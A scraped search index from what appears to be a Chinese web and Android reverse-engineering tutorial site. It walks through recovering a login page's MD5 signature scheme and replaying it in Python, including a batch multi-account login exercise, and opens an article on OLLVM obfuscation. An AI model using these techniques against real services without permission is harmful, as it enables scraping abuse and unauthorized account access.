","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:5:0","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#步骤详解"},{"categories":null,"collections":null,"content":"Step 1: 找到加密的请求 1.1 打开示例页面 访问模拟登录页面（使用本地 HTML 文件或在线 Demo）： \u003c!DOCTYPE html\u003e \u003chtml\u003e \u003chead\u003e \u003ctitle\u003e登录示例\u003c/title\u003e \u003cscript src=\"https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js\"\u003e\u003c/script\u003e \u003c/head\u003e \u003cbody\u003e \u003ch2\u003e登录\u003c/h2\u003e \u003cinput id=\"username\" placeholder=\"用户名\" value=\"admin\" /\u003e \u003cinput id=\"password\" type=\"password\" placeholder=\"密码\" value=\"123456\" /\u003e \u003cbutton onclick=\"login()\"\u003e登录\u003c/button\u003e \u003cscript\u003e function login() { const username = document.getElementById(\"username\").value; const password = document.getElementById(\"password\").value; // 加密密码 const encryptedPassword = CryptoJS.MD5(password).toString(); // 生成签名 const timestamp = Date.now(); const sign = CryptoJS.MD5( username + encryptedPassword + timestamp + \"SECRET_KEY\" ).toString(); // 发送请求 fetch(\"/api/login\", { method: \"POST\", headers: { \"Content-Type\": \"application/json\" }, body: JSON.stringify({ username: username, password: encryptedPassword, timestamp: timestamp, sign: sign, }), }) .then((r) =\u003e r.json()) .then((data) =\u003e console.log(data)); } \u003c/script\u003e \u003c/body\u003e \u003c/html\u003e 将上面的代码保存为 login_demo.html 并在浏览器中打开。 1.2 触发请求 打开开发者工具（F12） 切换到 Network 标签 点击\"登录\"按钮 观察 Network 面板中的请求 你会看到一个 POST 请求到 /api/login，查看请求体： 发现: password 不是明文，而是一串 32 位的十六进制字符串（很可能是 MD5） ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:5:1","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#step-1-找到加密的请求"},{"categories":null,"collections":null,"content":"Step 1: 找到加密的请求 1.1 打开示例页面 访问模拟登录页面（使用本地 HTML 文件或在线 Demo）： \u003c!DOCTYPE html\u003e 登录示例 登录 登录 将上面的代码保存为 login_demo.html 并在浏览器中打开。 1.2 触发请求 打开开发者工具（F12） 切换到 Network 标签 点击\"登录\"按钮 观察 Network 面板中的请求 你会看到一个 POST 请求到 /api/login，查看请求体： 发现: password 不是明文，而是一串 32 位的十六进制字符串（很可能是 MD5） ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:5:1","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#11-打开示例页面"},{"categories":null,"collections":null,"content":"Step 1: 找到加密的请求 1.1 打开示例页面 访问模拟登录页面（使用本地 HTML 文件或在线 Demo）： \u003c!DOCTYPE html\u003e 登录示例 登录 登录 将上面的代码保存为 login_demo.html 并在浏览器中打开。 1.2 触发请求 打开开发者工具（F12） 切换到 Network 标签 点击\"登录\"按钮 观察 Network 面板中的请求 你会看到一个 POST 请求到 /api/login，查看请求体： 发现: password 不是明文，而是一串 32 位的十六进制字符串（很可能是 MD5） ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:5:1","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#12-触发请求"},{"categories":null,"collections":null,"content":"Step 2: 定位加密函数 2.1 使用 XHR 断点 在 Sources 标签下，右侧找到 XHR/fetch Breakpoints 点击 + 添加断点 输入 /api/login 再次点击\"登录\"按钮 结果: 代码会在发送请求前暂停 2.2 查看调用栈 在 Call Stack 面板中，你会看到： fetch (async) login (login_demo.html:24) onclick (login_demo.html:12) 点击 login 函数，跳转到源代码 2.3 观察加密代码 现在你可以看到完整的加密逻辑： const encryptedPassword = CryptoJS.MD5(password).toString(); const sign = CryptoJS.MD5( username + encryptedPassword + timestamp + \"SECRET_KEY\" ).toString(); 分析: 密码使用 MD5 加密 签名使用 用户名 + 加密后的密码 + 时间戳 + 密钥 拼接后再 MD5 密钥是 SECRET_KEY ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:5:2","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#step-2-定位加密函数"},{"categories":null,"collections":null,"content":"Step 2: 定位加密函数 2.1 使用 XHR 断点 在 Sources 标签下，右侧找到 XHR/fetch Breakpoints 点击 + 添加断点 输入 /api/login 再次点击\"登录\"按钮 结果: 代码会在发送请求前暂停 2.2 查看调用栈 在 Call Stack 面板中，你会看到： fetch (async) login (login_demo.html:24) onclick (login_demo.html:12) 点击 login 函数，跳转到源代码 2.3 观察加密代码 现在你可以看到完整的加密逻辑： const encryptedPassword = CryptoJS.MD5(password).toString(); const sign = CryptoJS.MD5( username + encryptedPassword + timestamp + \"SECRET_KEY\" ).toString(); 分析: 密码使用 MD5 加密 签名使用 用户名 + 加密后的密码 + 时间戳 + 密钥 拼接后再 MD5 密钥是 SECRET_KEY ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:5:2","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#21-使用-xhr-断点"},{"categories":null,"collections":null,"content":"Step 2: 定位加密函数 2.1 使用 XHR 断点 在 Sources 标签下，右侧找到 XHR/fetch Breakpoints 点击 + 添加断点 输入 /api/login 再次点击\"登录\"按钮 结果: 代码会在发送请求前暂停 2.2 查看调用栈 在 Call Stack 面板中，你会看到： fetch (async) login (login_demo.html:24) onclick (login_demo.html:12) 点击 login 函数，跳转到源代码 2.3 观察加密代码 现在你可以看到完整的加密逻辑： const encryptedPassword = CryptoJS.MD5(password).toString(); const sign = CryptoJS.MD5( username + encryptedPassword + timestamp + \"SECRET_KEY\" ).toString(); 分析: 密码使用 MD5 加密 签名使用 用户名 + 加密后的密码 + 时间戳 + 密钥 拼接后再 MD5 密钥是 SECRET_KEY ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:5:2","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#22-查看调用栈"},{"categories":null,"collections":null,"content":"Step 2: 定位加密函数 2.1 使用 XHR 断点 在 Sources 标签下，右侧找到 XHR/fetch Breakpoints 点击 + 添加断点 输入 /api/login 再次点击\"登录\"按钮 结果: 代码会在发送请求前暂停 2.2 查看调用栈 在 Call Stack 面板中，你会看到： fetch (async) login (login_demo.html:24) onclick (login_demo.html:12) 点击 login 函数，跳转到源代码 2.3 观察加密代码 现在你可以看到完整的加密逻辑： const encryptedPassword = CryptoJS.MD5(password).toString(); const sign = CryptoJS.MD5( username + encryptedPassword + timestamp + \"SECRET_KEY\" ).toString(); 分析: 密码使用 MD5 加密 签名使用 用户名 + 加密后的密码 + 时间戳 + 密钥 拼接后再 MD5 密钥是 SECRET_KEY ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:5:2","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#23-观察加密代码"},{"categories":null,"collections":null,"content":"Step 3: 在 Console 中验证 3.1 测试加密函数 在 Console 中执行： // 测试 MD5 CryptoJS.MD5(\"123456\").toString(); // 输出: \"e10adc3949ba59abbe56e057f20f883e\" 3.2 完整测试 const username = \"admin\"; const password = \"123456\"; const timestamp = Date.now(); const encryptedPassword = CryptoJS.MD5(password).toString(); const sign = CryptoJS.MD5( username + encryptedPassword + timestamp + \"SECRET_KEY\" ).toString(); console.log({ encryptedPassword: encryptedPassword, sign: sign, timestamp: timestamp, }); 输出: { encryptedPassword: \"e10adc3949ba59abbe56e057f20f883e\", sign: \"f7c3bc1d808e04732adf679965ccc34c\", timestamp: 1702887654321 } ✅ 验证: 每次执行，encryptedPassword 都是固定的，但 sign 会变化（因为时间戳在变） ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:5:3","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#step-3-在-console-中验证"},{"categories":null,"collections":null,"content":"Step 3: 在 Console 中验证 3.1 测试加密函数 在 Console 中执行： // 测试 MD5 CryptoJS.MD5(\"123456\").toString(); // 输出: \"e10adc3949ba59abbe56e057f20f883e\" 3.2 完整测试 const username = \"admin\"; const password = \"123456\"; const timestamp = Date.now(); const encryptedPassword = CryptoJS.MD5(password).toString(); const sign = CryptoJS.MD5( username + encryptedPassword + timestamp + \"SECRET_KEY\" ).toString(); console.log({ encryptedPassword: encryptedPassword, sign: sign, timestamp: timestamp, }); 输出: { encryptedPassword: \"e10adc3949ba59abbe56e057f20f883e\", sign: \"f7c3bc1d808e04732adf679965ccc34c\", timestamp: 1702887654321 } ✅ 验证: 每次执行，encryptedPassword 都是固定的，但 sign 会变化（因为时间戳在变） ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:5:3","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#31-测试加密函数"},{"categories":null,"collections":null,"content":"Step 3: 在 Console 中验证 3.1 测试加密函数 在 Console 中执行： // 测试 MD5 CryptoJS.MD5(\"123456\").toString(); // 输出: \"e10adc3949ba59abbe56e057f20f883e\" 3.2 完整测试 const username = \"admin\"; const password = \"123456\"; const timestamp = Date.now(); const encryptedPassword = CryptoJS.MD5(password).toString(); const sign = CryptoJS.MD5( username + encryptedPassword + timestamp + \"SECRET_KEY\" ).toString(); console.log({ encryptedPassword: encryptedPassword, sign: sign, timestamp: timestamp, }); 输出: { encryptedPassword: \"e10adc3949ba59abbe56e057f20f883e\", sign: \"f7c3bc1d808e04732adf679965ccc34c\", timestamp: 1702887654321 } ✅ 验证: 每次执行，encryptedPassword 都是固定的，但 sign 会变化（因为时间戳在变） ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:5:3","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#32-完整测试"},{"categories":null,"collections":null,"content":"Step 4: Python 复现 4.1 安装依赖 pip install requests 4.2 编写 Python 脚本 创建 login.py: import hashlib import time import requests def md5(text): \"\"\"MD5 加密\"\"\" return hashlib.md5(text.encode()).hexdigest() def login(username, password): # 1. 加密密码 encrypted_password = md5(password) # 2. 生成时间戳 timestamp = int(time.time() * 1000) # 3. 生成签名 sign_string = username + encrypted_password + str(timestamp) + 'SECRET_KEY' sign = md5(sign_string) # 4. 构造请求体 payload = { 'username': username, 'password': encrypted_password, 'timestamp': timestamp, 'sign': sign } print(f\" 发送请求:\") print(f\" Username: {username}\") print(f\" Encrypted Password: {encrypted_password}\") print(f\" Timestamp: {timestamp}\") print(f\" Sign: {sign}\") # 5. 发送请求 response = requests.post( 'https://example.com/api/login', json=payload, headers={'Content-Type': 'application/json'} ) print(f\"\\n 响应:\") print(f\" Status Code: {response.status_code}\") print(f\" Response: {response.text}\") return response.json() if __name__ == '__main__': # 测试 result = login('admin', '123456') print(f\"\\n✅ 登录结果: {result}\") 4.3 运行测试 python login.py 预期输出: 发送请求: Username: admin Encrypted Password: e10adc3949ba59abbe56e057f20f883e Timestamp: 1702887654321 Sign: f7c3bc1d808e04732adf679965ccc34c 响应: Status Code: 200 Response: {\"code\":0,\"message\":\"登录成功\",\"data\":{\"token\":\"...\"}} ✅ 登录结果: {'code': 0, 'message': '登录成功', 'data': {...}} ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:5:4","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#step-4-python-复现"},{"categories":null,"collections":null,"content":"Step 4: Python 复现 4.1 安装依赖 pip install requests 4.2 编写 Python 脚本 创建 login.py: import hashlib import time import requests def md5(text): \"\"\"MD5 加密\"\"\" return hashlib.md5(text.encode()).hexdigest() def login(username, password): # 1. 加密密码 encrypted_password = md5(password) # 2. 生成时间戳 timestamp = int(time.time() * 1000) # 3. 生成签名 sign_string = username + encrypted_password + str(timestamp) + 'SECRET_KEY' sign = md5(sign_string) # 4. 构造请求体 payload = { 'username': username, 'password': encrypted_password, 'timestamp': timestamp, 'sign': sign } print(f\" 发送请求:\") print(f\" Username: {username}\") print(f\" Encrypted Password: {encrypted_password}\") print(f\" Timestamp: {timestamp}\") print(f\" Sign: {sign}\") # 5. 发送请求 response = requests.post( 'https://example.com/api/login', json=payload, headers={'Content-Type': 'application/json'} ) print(f\"\\n 响应:\") print(f\" Status Code: {response.status_code}\") print(f\" Response: {response.text}\") return response.json() if __name__ == '__main__': # 测试 result = login('admin', '123456') print(f\"\\n✅ 登录结果: {result}\") 4.3 运行测试 python login.py 预期输出: 发送请求: Username: admin Encrypted Password: e10adc3949ba59abbe56e057f20f883e Timestamp: 1702887654321 Sign: f7c3bc1d808e04732adf679965ccc34c 响应: Status Code: 200 Response: {\"code\":0,\"message\":\"登录成功\",\"data\":{\"token\":\"...\"}} ✅ 登录结果: {'code': 0, 'message': '登录成功', 'data': {...}} ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:5:4","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#41-安装依赖"},{"categories":null,"collections":null,"content":"Step 4: Python 复现 4.1 安装依赖 pip install requests 4.2 编写 Python 脚本 创建 login.py: import hashlib import time import requests def md5(text): \"\"\"MD5 加密\"\"\" return hashlib.md5(text.encode()).hexdigest() def login(username, password): # 1. 加密密码 encrypted_password = md5(password) # 2. 生成时间戳 timestamp = int(time.time() * 1000) # 3. 生成签名 sign_string = username + encrypted_password + str(timestamp) + 'SECRET_KEY' sign = md5(sign_string) # 4. 构造请求体 payload = { 'username': username, 'password': encrypted_password, 'timestamp': timestamp, 'sign': sign } print(f\" 发送请求:\") print(f\" Username: {username}\") print(f\" Encrypted Password: {encrypted_password}\") print(f\" Timestamp: {timestamp}\") print(f\" Sign: {sign}\") # 5. 发送请求 response = requests.post( 'https://example.com/api/login', json=payload, headers={'Content-Type': 'application/json'} ) print(f\"\\n 响应:\") print(f\" Status Code: {response.status_code}\") print(f\" Response: {response.text}\") return response.json() if __name__ == '__main__': # 测试 result = login('admin', '123456') print(f\"\\n✅ 登录结果: {result}\") 4.3 运行测试 python login.py 预期输出: 发送请求: Username: admin Encrypted Password: e10adc3949ba59abbe56e057f20f883e Timestamp: 1702887654321 Sign: f7c3bc1d808e04732adf679965ccc34c 响应: Status Code: 200 Response: {\"code\":0,\"message\":\"登录成功\",\"data\":{\"token\":\"...\"}} ✅ 登录结果: {'code': 0, 'message': '登录成功', 'data': {...}} ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:5:4","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#42-编写-python-脚本"},{"categories":null,"collections":null,"content":"Step 4: Python 复现 4.1 安装依赖 pip install requests 4.2 编写 Python 脚本 创建 login.py: import hashlib import time import requests def md5(text): \"\"\"MD5 加密\"\"\" return hashlib.md5(text.encode()).hexdigest() def login(username, password): # 1. 加密密码 encrypted_password = md5(password) # 2. 生成时间戳 timestamp = int(time.time() * 1000) # 3. 生成签名 sign_string = username + encrypted_password + str(timestamp) + 'SECRET_KEY' sign = md5(sign_string) # 4. 构造请求体 payload = { 'username': username, 'password': encrypted_password, 'timestamp': timestamp, 'sign': sign } print(f\" 发送请求:\") print(f\" Username: {username}\") print(f\" Encrypted Password: {encrypted_password}\") print(f\" Timestamp: {timestamp}\") print(f\" Sign: {sign}\") # 5. 发送请求 response = requests.post( 'https://example.com/api/login', json=payload, headers={'Content-Type': 'application/json'} ) print(f\"\\n 响应:\") print(f\" Status Code: {response.status_code}\") print(f\" Response: {response.text}\") return response.json() if __name__ == '__main__': # 测试 result = login('admin', '123456') print(f\"\\n✅ 登录结果: {result}\") 4.3 运行测试 python login.py 预期输出: 发送请求: Username: admin Encrypted Password: e10adc3949ba59abbe56e057f20f883e Timestamp: 1702887654321 Sign: f7c3bc1d808e04732adf679965ccc34c 响应: Status Code: 200 Response: {\"code\":0,\"message\":\"登录成功\",\"data\":{\"token\":\"...\"}} ✅ 登录结果: {'code': 0, 'message': '登录成功', 'data': {...}} ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:5:4","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#43-运行测试"},{"categories":null,"collections":null,"content":"✅ 验证清单 完成后，检查以下项目： ☐ 成功找到了加密函数位置 ☐ 识别出加密算法是 MD5 ☐ 提取出了密钥 SECRET_KEY ☐ 理解了签名生成逻辑 ☐ Python 脚本能正确生成加密参数 ☐ 成功发送了请求并得到响应 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:6:0","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#-验证清单"},{"categories":null,"collections":null,"content":"进阶练习 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:7:0","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#进阶练习"},{"categories":null,"collections":null,"content":"练习 1: 分析更复杂的加密 尝试分析使用 AES 加密的接口： // 示例：AES 加密 const key = CryptoJS.enc.Utf8.parse(\"1234567890abcdef\"); const iv = CryptoJS.enc.Utf8.parse(\"abcdefghijklmnop\"); const encrypted = CryptoJS.AES.encrypt(password, key, { iv: iv }); 提示: Python 使用 pycryptodome 库： pip install pycryptodome ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:7:1","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#练习-1-分析更复杂的加密"},{"categories":null,"collections":null,"content":"练习 2: 处理动态密钥 有些网站的密钥是动态生成的： const key = CryptoJS.MD5(username + timestamp).toString(); 任务: 修改 Python 脚本，支持动态密钥 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:7:2","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#练习-2-处理动态密钥"},{"categories":null,"collections":null,"content":"练习 3: 批量测试 编写脚本测试多个账号： users = [ ('user1', 'password1'), ('user2', 'password2'), ('user3', 'password3') ] for username, password in users: result = login(username, password) print(f\"{username}: {result['message']}\") ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:7:3","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#练习-3-批量测试"},{"categories":null,"collections":null,"content":"常见问题 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:8:0","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#常见问题"},{"categories":null,"collections":null,"content":"Q1: 如何判断使用了哪种加密算法？ A: 根据特征识别： 特征 可能的算法 32 位十六进制 MD5 40 位十六进制 SHA1 64 位十六进制 SHA256 Base64 编码 + 固定长度 AES/DES 看到 CryptoJS.MD5 确定是 MD5 工具: 使用 加密算法识别 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:8:1","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#q1-如何判断使用了哪种加密算法"},{"categories":null,"collections":null,"content":"Q2: 找不到加密函数？代码被混淆了怎么办？ A: 使用以下技巧： 搜索加密库名称：CryptoJS, crypto, encrypt 搜索特征字符串：MD5, AES, SHA Hook 可疑函数查看输入输出 使用 JavaScript 反混淆 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:8:2","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#q2-找不到加密函数代码被混淆了怎么办"},{"categories":null,"collections":null,"content":"Q3: Python 生成的签名不对？ A: 检查以下几点： 字符编码: 确保使用 UTF-8 时间戳格式: 毫秒还是秒？ 拼接顺序: 参数顺序是否正确？ 密钥: 是否有隐藏的盐或密钥？ 调试技巧: # 在 Python 中打印中间值 sign_string = username + encrypted_password + str(timestamp) + 'SECRET_KEY' print(f\"Sign String: {sign_string}\") print(f\"Sign: {md5(sign_string)}\") 然后在浏览器中对比： console.log(username + encryptedPassword + timestamp + \"SECRET_KEY\"); ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:8:3","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#q3-python-生成的签名不对"},{"categories":null,"collections":null,"content":"Q4: 如何处理非标准的加密？ A: 有些网站使用自定义加密： function customEncrypt(data) { // 自定义算法 return data.split(\"\").reverse().join(\"\"); } 解决: 完整理解算法逻辑 用 Python 逐行翻译 或者考虑使用 RPC 调用 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:8:4","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#q4-如何处理非标准的加密"},{"categories":null,"collections":null,"content":"原理解析 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:9:0","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#原理解析"},{"categories":null,"collections":null,"content":"为什么网站要加密参数？ 安全性: 防止密码明文传输 防篡改: 签名确保参数未被修改 防重放: 时间戳防止重放攻击 反爬虫: 增加逆向难度 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:9:1","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#为什么网站要加密参数"},{"categories":null,"collections":null,"content":"签名的作用 签名 = Hash(所有参数 + 密钥) 服务器也使用相同算法计算签名，如果不一致则拒绝请求： # 服务器端验证 received_sign = request.json['sign'] calculated_sign = md5(username + password + timestamp + 'SECRET_KEY') if received_sign != calculated_sign: return {'code': -1, 'message': '签名错误'} ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:9:2","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#签名的作用"},{"categories":null,"collections":null,"content":"相关配方 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:10:0","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#相关配方"},{"categories":null,"collections":null,"content":"基础配方 加密算法识别 - 识别加密算法 API 逆向 - API 逆向完整流程 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:10:1","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#基础配方"},{"categories":null,"collections":null,"content":"高级配方 JavaScript 反混淆 - 处理混淆代码 JSVMP - 处理虚拟机保护 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:10:2","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#高级配方"},{"categories":null,"collections":null,"content":"案例研究 电商网站逆向 - 真实案例 ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:10:3","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#案例研究"},{"categories":null,"collections":null,"content":"恭喜！ 你已经掌握了： ✅ 定位加密函数的方法 ✅ 分析常见加密算法 ✅ 用 Python 复现加密逻辑 ✅ 构造有效的 API 请求 下一步: 学习 绕过简单验证码 或深入 API 逆向 小贴士: 总是先在浏览器 Console 中验证你的理解 记录你分析过的加密算法，建立自己的知识库 遇到不懂的加密算法，可以搜索或参考 加密算法识别 Happy Decrypting! ","date":"2024-04-01","objectID":"/reverse_engineering/web/00-quick-start/decrypt_api_params/:11:0","tags":["入门","签名验证","电商","加密分析","Hook","AES"],"title":"配方：解密 API 参数","uri":"/reverse_engineering/web/00-quick-start/decrypt_api_params/#恭喜"},{"categories":null,"collections":null,"content":"关于本书 本书是一本 Android 逆向工程实战手册，采用 Cookbook（配方）形式组织——每个章节都是一个独立的\"配方\"，针对特定问题提供完整解决方案。 ","date":"2024-03-31","objectID":"/reverse_engineering/android/00-quick-start/intro/:0:0","tags":["入门","Frida","加密分析","Android","DEX"],"title":"关于本书","uri":"/reverse_engineering/android/00-quick-start/intro/#关于本书"},{"categories":null,"collections":null,"content":"如何使用 遇到问题 → 在「实战配方」章节查找对应配方 学习工具 → 查阅「工具指南」章节 看实战案例 → 参考「案例研究」章节 补充基础 → 阅读「参考资料」章节 ","date":"2024-03-31","objectID":"/reverse_engineering/android/00-quick-start/intro/:1:0","tags":["入门","Frida","加密分析","Android","DEX"],"title":"关于本书","uri":"/reverse_engineering/android/00-quick-start/intro/#如何使用"},{"categories":null,"collections":null,"content":"适合谁 读者类型 推荐路径 安全研究员 参考资料 → 工具指南 → 反检测 → 案例研究 爬虫开发者 网络分析 → 加密算法分析 → 自动化 逆向爱好者 快速入门 → 参考资料 → 实战配方 ","date":"2024-03-31","objectID":"/reverse_engineering/android/00-quick-start/intro/:2:0","tags":["入门","Frida","加密分析","Android","DEX"],"title":"关于本书","uri":"/reverse_engineering/android/00-quick-start/intro/#适合谁"},{"categories":null,"collections":null,"content":"前置要求 熟悉至少一门编程语言（Python/Java/JS） 了解 Android 基础（Activity、Service 等） 会使用命令行 ","date":"2024-03-31","objectID":"/reverse_engineering/android/00-quick-start/intro/:3:0","tags":["入门","Frida","加密分析","Android","DEX"],"title":"关于本书","uri":"/reverse_engineering/android/00-quick-start/intro/#前置要求"},{"categories":null,"collections":null,"content":"免责声明 本书仅供学习和安全研究。请确保你有权分析目标应用，并遵守相关法律法规。 准备好了？ → 10 分钟快速入门 ","date":"2024-03-31","objectID":"/reverse_engineering/android/00-quick-start/intro/:4:0","tags":["入门","Frida","加密分析","Android","DEX"],"title":"关于本书","uri":"/reverse_engineering/android/00-quick-start/intro/#免责声明"},{"categories":null,"collections":null,"content":"花指令与 OLLVM 混淆技术深度解析 在 Android Native 层逆向分析中，花指令（Junk Code）和 OLLVM（Obfuscator-LLVM）是两种最常见的代码混淆技术。花指令通过插入无意义的指令干扰反汇编器，而 OLLVM 则在编译阶段对控制流和数据流进行深度混淆。本文将深入分析这两种技术的原理、识别方法和去混淆策略。 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:0:0","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#花指令与-ollvm-混淆技术深度解析"},{"categories":null,"collections":null,"content":"1. 花指令基础与原理 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:1:0","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 混淆技术深度解析","uri":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/#1-花指令基础与原理"},{"categories":null,"collections":null,"content":"1.1 什么是花指令 花指令（Junk Code / Garbage Code）是指插入到程序中的无意义指令序列，其目的是： 干扰反汇编器：使反汇编器产生错误的解析结果 增加分析难度：混淆真实的程序逻辑 对抗静态分析：阻止自动化分析工具识别代码模式 ","date":"2025-01-14","objectID":"/reverse_engineering/android/04-reference/advanced/junk_code_and_ollvm_obfuscation/:1:1","tags":["Native层","混淆","OLLVM","花指令","去混淆","反混淆","高级","逆向分析"],"title":"花指令与 OLLVM 